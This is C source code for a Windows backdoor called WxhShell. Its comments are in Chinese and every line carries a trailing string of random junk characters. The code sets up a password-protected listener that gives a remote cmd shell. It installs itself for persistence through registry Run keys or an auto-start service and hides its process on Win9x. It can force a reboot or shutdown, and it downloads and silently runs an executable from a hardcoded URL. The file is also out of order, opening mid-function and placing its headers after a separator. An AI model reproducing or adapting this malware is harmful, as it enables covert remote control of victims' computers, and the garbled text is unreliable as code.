    if(Boot(SHUTDOWN)) On&L#pf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -\Z `z}D  
    else { /EU ; ?O  
    closesocket(wsh); .=XD)>$  
    ExitThread(0); l{5O5%\,  
    } 4\6: \  
    break; q^*6C[G B  
    } E/mw* c^  
  // 获取shell i3PKqlp.  
  case 's': { 2tf6GX:  
    CmdShell(wsh); xnbsg!`;7W  
    closesocket(wsh); N _G4_12(  
    ExitThread(0); vCb]%sd-U  
    break; q}wj}t#  
  } c 0-w6  
  // 退出 )o jDRJ&  
  case 'x': { hwVAXsF~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h!e2 +4{4{  
    CloseIt(wsh); P'tMu6+)  
    break; *d>vR1  
    } eh<rRx"[  
  // 离开 ]*;F. pZ  
  case 'q': { Go <'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c@(1:,R  
    closesocket(wsh); @o#+5P  
    WSACleanup(); $"8d:N?I[  
    exit(1); OJ/SYZ.r  
    break; {155b0  
        } .GCR!V  
  } ?4G(N=/&  
  } JMlV@t7y<  
n3ZAF'  
  // 提示信息 \A<v=VM|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k)":v3 ^  
} }1U*A#aN7K  
  } `f)(Y1%.  
,w2WS\`%  
  return; 6peyh_  
} 2\0Oji\6  
(A{NF(   
// shell模块句柄 O?ktWHUx  
int CmdShell(SOCKET sock) =& -[TPW  
{ OOB^gf}$'  
STARTUPINFO si; Y)M8zi>b  
ZeroMemory(&si,sizeof(si)); T'1gy}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `FJ|W6%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {Q~7M$  
PROCESS_INFORMATION ProcessInfo; aFY u}kl  
char cmdline[]="cmd";  KG8W8&q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fg&eoI'f  
  return 0; u 9]1X1wV  
}  &?+WXL>  
7pet Hi  
// 自身启动模式 4o5i ."l  
int StartFromService(void) } ` T8A  
{ <o0~H  
typedef struct )acV-+{  
{ [X/(D9J  
  DWORD ExitStatus; tln1eN((q  
  DWORD PebBaseAddress; 6OB",  
  DWORD AffinityMask; 4:1)~z  
  DWORD BasePriority; Qhy#r  
  ULONG UniqueProcessId; rLF*DB3l  
  ULONG InheritedFromUniqueProcessId; #?&0D>E?k  
}   PROCESS_BASIC_INFORMATION; 8h.V4/?  
^%#grX#  
PROCNTQSIP NtQueryInformationProcess; 'Kz9ygZy  
{'R)4hL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HZZDv+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nl n OwyMJ  
#w>~u2W  
  HANDLE             hProcess; 7[KCWJ  
  PROCESS_BASIC_INFORMATION pbi; CWlW/>yF B  
o\6iq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L"vj0@n'0  
  if(NULL == hInst ) return 0; SW9fE :v  
P`"mM?u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B8V,)rn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C_->u4 -  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S%l:kKD  
R1%y]]*-P  
  if (!NtQueryInformationProcess) return 0; .y):Rh^  
AK2WN#u@Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x(~<tX~  
  if(!hProcess) return 0; IR$ (_9z  
NL!9U,h5|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3~%!m<1:  
S_Z`so}  
  CloseHandle(hProcess); C;qMw-*F  
$<w)j!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !LIlt`ag9  
if(hProcess==NULL) return 0; /1fwl5\  
^M[P-#X_  
HMODULE hMod; &88oB6$D^q  
char procName[255]; ? +`x e{k  
unsigned long cbNeeded; \dkOK`)b  
Gi7RMql6Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `# ^0cW  
QxpKX_@Q5  
  CloseHandle(hProcess); YYUe)j{T  
#Ufo)\x  
if(strstr(procName,"services")) return 1; // 以服务启动 213\ehhG<  
>Ko[Xb-8^_  
  return 0; // 注册表启动 \ =nrt?  
} 36$[   
&s VadOBQ  
// 主模块 K2ewucn  
int StartWxhshell(LPSTR lpCmdLine) WzlC*iv  
{ I>"Ci(N  
  SOCKET wsl; A6p`ma $L  
BOOL val=TRUE; {a "RXa  
  int port=0; &]iKr iG  
  struct sockaddr_in door; (|u31[  
~UPZ<  
  if(wscfg.ws_autoins) Install(); -[]';f4]M  
s<7XxQ  
port=atoi(lpCmdLine); Yx%bn?%;&  
)#[|hb=o  
if(port<=0) port=wscfg.ws_port; wahZK~,EaY  
$[(d X!]F  
  WSADATA data; !7 _\P7M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b^Cfhy^RTq  
c`kQvXx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pP.'wSj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DW2>&|  
  door.sin_family = AF_INET; Mv|!2 [:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eOY^$#Y  
  door.sin_port = htons(port); BD*G1k_q  
$>w/Cy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !j^&gRH  
closesocket(wsl); bFGDgwe z  
return 1; Qv{,wytyO  
} >*qQ+_  
m*n5zi|O  
  if(listen(wsl,2) == INVALID_SOCKET) { @Icq1zb] y  
closesocket(wsl); {fz$Z!8-  
return 1; `W5-.Tv  
} h;M3yTM-  
  Wxhshell(wsl); oU+F3b}5p  
  WSACleanup(); eegx'VSX4  
OO-k|\{ |  
return 0; GozPvR^/  
g22gIj]  
} /QxlGfNZ  
r88"#C6E'  
// 以NT服务方式启动 .C!vr@@]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f j<H6|3  
{ VmvQvQ/9R  
DWORD   status = 0; 3V;gW%>  
  DWORD   specificError = 0xfffffff; t;O1IMF  
I/uy>*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8r:M*25  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \b8\Ug~t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  .i/m  
  serviceStatus.dwWin32ExitCode     = 0; ht6244:  
  serviceStatus.dwServiceSpecificExitCode = 0; vg\/DbI'  
  serviceStatus.dwCheckPoint       = 0; p 2 !FcFi  
  serviceStatus.dwWaitHint       = 0; O)#U ^  
k`VM2+9h'^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $c9k*3{<+A  
  if (hServiceStatusHandle==0) return; Tls a%pn  
A Y9 9!p  
status = GetLastError(); f )NHM'  
  if (status!=NO_ERROR) K+d2m9C=  
{ jRj=Awy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X6@wkrf-  
    serviceStatus.dwCheckPoint       = 0; !G?gsW0\h  
    serviceStatus.dwWaitHint       = 0; I.V:q!4*  
    serviceStatus.dwWin32ExitCode     = status; :b /J\  
    serviceStatus.dwServiceSpecificExitCode = specificError; gv.6h{Ut  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;O=h$8]  
    return; ,sQ93(Vo  
  } Lp&k3?W  
:qj<p3w~}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8q^o.+9  
  serviceStatus.dwCheckPoint       = 0; g>j| ]6  
  serviceStatus.dwWaitHint       = 0; SF<Vds}A2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f =s&n}  
} Mr3-q  
MC!ZX)mF  
// 处理NT服务事件,比如:启动、停止 UY>v"M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @,OT/egF4:  
{ $g\&5sstE  
switch(fdwControl) ]z ==   
{ 1wn&js C  
case SERVICE_CONTROL_STOP: WeJ@x L  
  serviceStatus.dwWin32ExitCode = 0; -Zc![cAlO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q!'qC*Gyfn  
  serviceStatus.dwCheckPoint   = 0; Ew,T5GG  
  serviceStatus.dwWaitHint     = 0; fZN><3MO>  
  { uzU{z;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z" v<0]rN  
  } jai|/"HSXw  
  return; ;_"U "?h_J  
case SERVICE_CONTROL_PAUSE: +c$I&JO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #@f[bP}a  
  break; eV!L^>>>  
case SERVICE_CONTROL_CONTINUE: @wN G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *75YGD  
  break; Gt-UJ-RR y  
case SERVICE_CONTROL_INTERROGATE: $:bih4 @>  
  break; a)s;dp}T%  
}; 9;=dxWf   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /yPXMJ6W~R  
} Zq"7,z7  
EU+cca|qS9  
// 标准应用程序主函数 M0'v&g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m#5_%3T  
{ B#l?IB~  
= !2NU  
// 获取操作系统版本 K`6z&*  
OsIsNt=GetOsVer(); :%4imgY`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ngy=!g?Hk=  
~}ovuf=%  
  // 从命令行安装 Jfhk@27T  
  if(strpbrk(lpCmdLine,"iI")) Install(); v/QUjXBr  
*I*i>==Z  
  // 下载执行文件 LJTo\^*  
if(wscfg.ws_downexe) { 2YBIWR8z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '\7G@g?UZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); tY/vL^mi  
} -"TR\/  
Oe!6){OG)  
if(!OsIsNt) { zr_yO`{  
// 如果时win9x,隐藏进程并且设置为注册表启动 6(V /yn ~  
HideProc(); IApT'QNM  
StartWxhshell(lpCmdLine); >,5i60Q  
} #/-_1H  
else `dkV_ O0  
  if(StartFromService()) [xlIG}e9  
  // 以服务方式启动 1y"3  
  StartServiceCtrlDispatcher(DispatchTable); ^Z,q$Gp~P  
else l* dV\ B  
  // 普通方式启动 vZAv_8S)  
  StartWxhshell(lpCmdLine); O[q\e<V<  
VG@};dwbz*  
return 0; 6[P-Ny{z  
} 6^F '|Wh  
kdrod[S  
1%~ZRmd e  
Im72Vt:p-  
=========================================== ot%.M*h-  
_^S]gmE  
C"pB"^0  
v ! hY  
zqySm) o]  
F2I 5q C/  
" Fd$!wBL  
?+CV1 ]  
#include <stdio.h> MXp3g@Cz  
#include <string.h> }F=^O[  
#include <windows.h> fb]S-z(  
#include <winsock2.h> tjnPyaJEl  
#include <winsvc.h> Z*! O:/B  
#include <urlmon.h> JgfVRqm   
&)9{HRP  
#pragma comment (lib, "Ws2_32.lib") hlbvt-C?}"  
#pragma comment (lib, "urlmon.lib") WrGK\Vw[  
jA(vTR.`  
#define MAX_USER   100 // 最大客户端连接数 gBw^,)Q{0Y  
#define BUF_SOCK   200 // sock buffer '?5j[:QY@  
#define KEY_BUFF   255 // 输入 buffer -apXI.  
H=c`&N7E  
#define REBOOT     0   // 重启 ;O#g"8  
#define SHUTDOWN   1   // 关机 cu9Qwm  
_S?qDG{E|  
#define DEF_PORT   5000 // 监听端口 I[Ic$ta  
.K8w8X/3  
#define REG_LEN     16   // 注册表键长度 Sb&lhgW]c  
#define SVC_LEN     80   // NT服务名长度 ) ]6h y9<  
).412I  
// 从dll定义API )r6EW`$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oy.[+EI`|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hUpnI@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c/3$AUsuO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;/O#4]2*  
lx0 ~>K]  
// wxhshell配置信息 B{6<;u)[  
struct WSCFG { UmU:j@ xvg  
  int ws_port;         // 监听端口 S]/b\ B.h+  
  char ws_passstr[REG_LEN]; // 口令 n%%7KTqu  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?;ukvD  
  char ws_regname[REG_LEN]; // 注册表键名 hlJpElYf  
  char ws_svcname[REG_LEN]; // 服务名 /8ynvhF#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QrYa%D+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eCbf9B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "E*e2W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no   WY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [j,txe?n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #& .]" d  
&p(0K4:  
}; u_O# @eOc  
X$?3U!  
// default Wxhshell configuration 48D?'lW %  
struct WSCFG wscfg={DEF_PORT, >7Jr^o#|_x  
    "xuhuanlingzhe", EM j;2!  
    1, Fzq41jiS  
    "Wxhshell", "eAy^,  
    "Wxhshell", L1m{]>{-  
            "WxhShell Service", cDEJk?3+  
    "Wrsky Windows CmdShell Service", %8.J=B  
    "Please Input Your Password: ", pV[''  
  1, c "= N  
  "http://www.wrsky.com/wxhshell.exe", u eb-2[=  
  "Wxhshell.exe" CON0E~"  
    }; )Di \_/G  
L5fuM]G`  
// 消息定义模块 kyw/LE3$-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A#h/B+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |AhF7Mj*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z?NW1m()F  
char *msg_ws_ext="\n\rExit."; AasZuO_I  
char *msg_ws_end="\n\rQuit."; `RRE(SiKU  
char *msg_ws_boot="\n\rReboot..."; R=j% S!  
char *msg_ws_poff="\n\rShutdown..."; BHFY%6J!  
char *msg_ws_down="\n\rSave to "; 3.Gj4/f  
/s:fW+C  
char *msg_ws_err="\n\rErr!"; bJ /5|E?  
char *msg_ws_ok="\n\rOK!"; _D7]-3uC!  
m#e3%150{  
char ExeFile[MAX_PATH]; {D&9UZm  
int nUser = 0;  UL@9W6  
HANDLE handles[MAX_USER]; s,]%dG!  
int OsIsNt; v;1F[?@3Y  
n'FwM\  
SERVICE_STATUS       serviceStatus; J%C#V}z7E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eet Q}]  
?DV5y|}pj  
// 函数声明 e 8\;t"D  
int Install(void); VR{+f7:}  
int Uninstall(void); 7Cqcb>\X  
int DownloadFile(char *sURL, SOCKET wsh); (oz$B0HO:  
int Boot(int flag); Lv[OUW#S  
void HideProc(void); ; 0v>Rfa  
int GetOsVer(void); m} ?rJ  
int Wxhshell(SOCKET wsl); ` Nh"  
void TalkWithClient(void *cs); p,g1eb|E  
int CmdShell(SOCKET sock); ^L4Qbc(vJ  
int StartFromService(void); a,t``'c;  
int StartWxhshell(LPSTR lpCmdLine); bvBHYf:^  
wN-i?Ek0;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1j-te-}"c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `lDut1J5n  
P(k(m< 0  
// 数据结构和表定义 z&8un% Jt  
SERVICE_TABLE_ENTRY DispatchTable[] = `6Qdfmk=  
{ QnouBrhO  
{wscfg.ws_svcname, NTServiceMain}, yF._*9Q3hK  
{NULL, NULL} az;Q"V'6  
}; oEz%={f  
/t<@"BoV  
// 自我安装 m#/_x  
int Install(void) ;TiUpg</_3  
{ pv!oz2w1  
  char svExeFile[MAX_PATH]; SzD KByi  
  HKEY key; s) O[t  
  strcpy(svExeFile,ExeFile); #EGA#SKoq  
,B}I?vN.  
// 如果是win9x系统,修改注册表设为自启动 t>)45<PEw  
if(!OsIsNt) { qSCv )S(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D#A~Nbc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }ArpPU :]  
  RegCloseKey(key); {Rq1HH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~I}9;XT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?|{XZQ~  
  RegCloseKey(key); /e}#' H   
  return 0; P>Euq'ajX  
    } S"mcUU}}  
  } `fXyWrz-k  
} %?C8mA'w  
else { 3Ug  
6 9y;`15  
// 如果是NT以上系统,安装为系统服务 S{Hx]\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aA`/E  
if (schSCManager!=0) p{)5k  
{ _96~rel_P  
  SC_HANDLE schService = CreateService \vfBrN  
  ( gwd (N  
  schSCManager, nP~({ :l8X  
  wscfg.ws_svcname, `IpA.| Y  
  wscfg.ws_svcdisp, IxR?'  
  SERVICE_ALL_ACCESS, VQI(Vp|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E`H$YS3o  
  SERVICE_AUTO_START, XZNY4/ 25G  
  SERVICE_ERROR_NORMAL, -m= 8&B  
  svExeFile, m9}AG Rj  
  NULL, ]j~"mFAP  
  NULL, y)c5u%(  
  NULL, ^I mP`*X  
  NULL, }U w&Ny  
  NULL `~UZU@/x  
  ); &5{xXWJK  
  if (schService!=0) mV^Zy  
  { dBV7Te4L  
  CloseServiceHandle(schService); F(#rQ_z]  
  CloseServiceHandle(schSCManager); ZPN roCK`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i|)Su4Dw  
  strcat(svExeFile,wscfg.ws_svcname); 6&Juv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { # {fTgq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H=g.34  
  RegCloseKey(key); L%}zVCg  
  return 0; ; |/leu8  
    } "P@>M)-9Z  
  } XNM a0  
  CloseServiceHandle(schSCManager); gkBdR +  
} CRve.e8J  
} 4n1; Bh$  
%ows BO+  
return 1; 9~rUkHD  
} Z|9u]xL  
'\fY<Q:!  
// 自我卸载 %n%xR%|  
int Uninstall(void) PfS:AI y  
{ 3cS2gxF  
  HKEY key; {j{+0V  
Rd7_~.Bo  
if(!OsIsNt) { d%I" /8-J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C9DJO:f.2y  
  RegDeleteValue(key,wscfg.ws_regname); H2xeP%;$  
  RegCloseKey(key); o`zr>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @;xMs8@  
  RegDeleteValue(key,wscfg.ws_regname); yL^UE=#C_  
  RegCloseKey(key); +`M!D }!  
  return 0; LWsP ya  
  } ']- @? sD$  
} y|&}.~U[  
} zOEY6lAwI  
else { "TV(H+1,z  
!J*,)kRN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {HC@u{K -  
if (schSCManager!=0) E Uar/  
{ 0qjXQs}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {*ZY(6^  
  if (schService!=0) 7J28JK  
  { n 26Y]7N  
  if(DeleteService(schService)!=0) { Kz<@x`0   
  CloseServiceHandle(schService); 8By,#T".  
  CloseServiceHandle(schSCManager); &Lt[WT$  
  return 0; ultG36.x  
  } \7MHaQvS   
  CloseServiceHandle(schService); MF6 0-VE  
  } 0c.s -  
  CloseServiceHandle(schSCManager); t&5%?QyM  
} O?8Ni=]  
} LN l#h  
04%S+y.6&Y  
return 1; p2J|Hl|  
} UY2X  
$wYtyN[  
// 从指定url下载文件 {Y}dv`G#Iu  
int DownloadFile(char *sURL, SOCKET wsh) aw ?=hXR!  
{ =z{JgD/  
  HRESULT hr; ,<<4*  
char seps[]= "/"; bsxTqJ  
char *token; #>Y'sd5'A  
char *file; vhvdKD  
char myURL[MAX_PATH]; vQF vtwd  
char myFILE[MAX_PATH]; cH<q:OYi  
gef6pfV  
strcpy(myURL,sURL);  `G1&Z]z  
  token=strtok(myURL,seps); !|2VWI}  
  while(token!=NULL) .t&R>9cZ^  
  { M fk2mIy  
    file=token; (3[z%@I  
  token=strtok(NULL,seps); 7@.cOB`y@3  
  } 1[*UYcD  
*'"T$ib  
GetCurrentDirectory(MAX_PATH,myFILE); Nf3.\eR  
strcat(myFILE, "\\"); Bb&^ {7  
strcat(myFILE, file); #QvMVy  
  send(wsh,myFILE,strlen(myFILE),0); ,U*)2`[  
send(wsh,"...",3,0); a</D_66  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?Y:x[pOe  
  if(hr==S_OK) ; )Kh;;e  
return 0; &`Y!;@K9W#  
else xX0-]Y h:  
return 1; Cp^@zw*/  
<)g8y A  
} <J(sR  
w(L>#?  
// 系统电源模块 c[}(O H  
int Boot(int flag) ,1q_pep~?%  
{ ES<1tG  
  HANDLE hToken; GN#<yv$av  
  TOKEN_PRIVILEGES tkp; "I;C;}!  
o01kYBD  
  if(OsIsNt) { >$gG/WD?KR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c4e_6=Iv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); , "jbq~  
    tkp.PrivilegeCount = 1; >Sa*`q3J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z') pf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rOW-0B+N  
if(flag==REBOOT) { |W$DVRA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l5Y/Ok0,  
  return 0; cN! uV-e  
} nqR?l4 DX  
else { L?_7bX oD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) : FAH\  
  return 0; >}~#>Ru  
} /wQL  
  } ]DFXPV  
  else { U,/6;}  
if(flag==REBOOT) { vgn@d,v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QU{Ech'  
  return 0; r8xyd"Axy  
} 71#I5*8  
else { Z'pQ^MO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gw+9x<e  
  return 0; e73^#O&Xt  
} d{et8N  
} ogM%N  
E{=2\Wkcp  
return 1; _2fkb=2@  
} 0,*%vG?Q  
k<w(i k1bi  
// win9x进程隐藏模块 89{HJ9}  
void HideProc(void) =U OLT>!  
{ @vgG1w  
uBg 8h{>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /)N@M  
  if ( hKernel != NULL ) ?!w^`D0}o  
  { s )voII&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aI zv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c_{z(W"  
    FreeLibrary(hKernel); pDPxl?S  
  } d lH$yub  
iK;dU2h  
return; Y**|N8e  
} 4!$ M q;U  
-7WW[ w  
// 获取操作系统版本 HQ!Xj .y  
int GetOsVer(void) puSLqouTM  
{ fQWIw  
  OSVERSIONINFO winfo; B;Nl~Y|\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^Yr0@pE  
  GetVersionEx(&winfo); TAL/a*7\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vv6$>SU  
  return 1; #Z=tJ  
  else F}Mhs17!|  
  return 0; @#+jMV$g  
} N;F)jO xsl  
Hx^!:kxk  
// 客户端句柄模块 > 1L=,M  
int Wxhshell(SOCKET wsl) /4=-b_2Y~  
{ 3HG;!D~m;  
  SOCKET wsh; TL= YQA  
  struct sockaddr_in client; `U!y&Q$,  
  DWORD myID; 4kp im  
TGT$ >/w >  
  while(nUser<MAX_USER) iWXc  
{ (lA.3 4.p  
  int nSize=sizeof(client); <dA8 '7^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NCeaL-y7  
  if(wsh==INVALID_SOCKET) return 1; ;SwC&.I  
!.-tW7   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]>##`X  
if(handles[nUser]==0) &'|B =7  
  closesocket(wsh); h4&;?T S  
else : 2V^K&2L  
  nUser++; v|Jlf$>  
  } h SqY$P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &Y|Xd4:  
Rz%e>)  
  return 0; @}FAwv^f  
} L/}iy}  
!KS F3sz  
// 关闭 socket hPm>tV2X  
void CloseIt(SOCKET wsh) 4FeEGySow  
{ /k\01hc`  
closesocket(wsh); *xRc * :0  
nUser--; T*2C_oW  
ExitThread(0); R5Yl1   
} H(+<)qH  
l'4AF| p  
// 客户端请求句柄 D  _X8-  
void TalkWithClient(void *cs) &!.HuRiuC  
{ 9pWy"h$H  
n/e BE q  
  SOCKET wsh=(SOCKET)cs; ?4t-caK^u  
  char pwd[SVC_LEN]; <~Q i67I  
  char cmd[KEY_BUFF]; U0B2WmT~Q  
char chr[1];  GrJ#.  
int i,j; UP1?5Q=H]Q  
cleOsj;S  
  while (nUser < MAX_USER) { .,2V5D-${  
?v]-^X=&  
if(wscfg.ws_passstr) { rp! LP#*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O0~vf[i];  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;#?M)o:q  
  //ZeroMemory(pwd,KEY_BUFF); ucYkxi`x  
      i=0; IxSV?k   
  while(i<SVC_LEN) { Q ~|R Z7G  
V%L/8Q~  
  // 设置超时 g1m-+a  
  fd_set FdRead; @_'OyRd8  
  struct timeval TimeOut; s PYX~G&T  
  FD_ZERO(&FdRead); Ayx^Wp*s  
  FD_SET(wsh,&FdRead); *3{J#Q6fk3  
  TimeOut.tv_sec=8; QezSJ io  
  TimeOut.tv_usec=0; @9 8;VWY\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H>7dND 2;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kN9yO5 h7  
oVkq2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uK*|2U6t  
  pwd=chr[0]; Dk)}|GJ()"  
  if(chr[0]==0xd || chr[0]==0xa) { =WZ%H_oxi  
  pwd=0; 6k0^x Q  
  break; a_T,t'6  
  } vS; '}N  
  i++; VC&c)X  
    } ^tAO_~4  
tiQ;#p7%  
  // 如果是非法用户,关闭 socket Fxd{ Zk`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q|#MB7e/  
} mMw;0/n  
ma8wmQ9JR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S)\8|ym6!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <bmLy_":  
y%(X+E"n*  
while(1) { [$\>~nj=  
: iCM=k  
  ZeroMemory(cmd,KEY_BUFF); lglYJ,  
!e8i/!}^S  
      // 自动支持客户端 telnet标准   ;b~~s.+  
  j=0; \P?ToTTV  
  while(j<KEY_BUFF) { L/r{xS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vE\lp8j+  
  cmd[j]=chr[0]; BA+_C]%ZJ  
  if(chr[0]==0xa || chr[0]==0xd) { L'kq>1QWf  
  cmd[j]=0; r2eQ{u{nX  
  break; mBl7{w;Iv  
  }  WR.x&m>  
  j++; bkQ3c-C<  
    } mN1Ssq"B  
+uQB rG  
  // 下载文件 ijZ>:B2:  
  if(strstr(cmd,"http://")) { *Zkss   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rY70 ^<z  
  if(DownloadFile(cmd,wsh)) ?b$3ob"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Sxol>?t  
  else #s"B-sWE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #}o<v|;  
  } cH"@d^"+q|  
  else { [%8@D C'  
'V!kL, 9ES  
    switch(cmd[0]) { zXre~b03ZS  
  = HE m)  
  // 帮助 `BT*,6a  
  case '?': { {yq8<?  
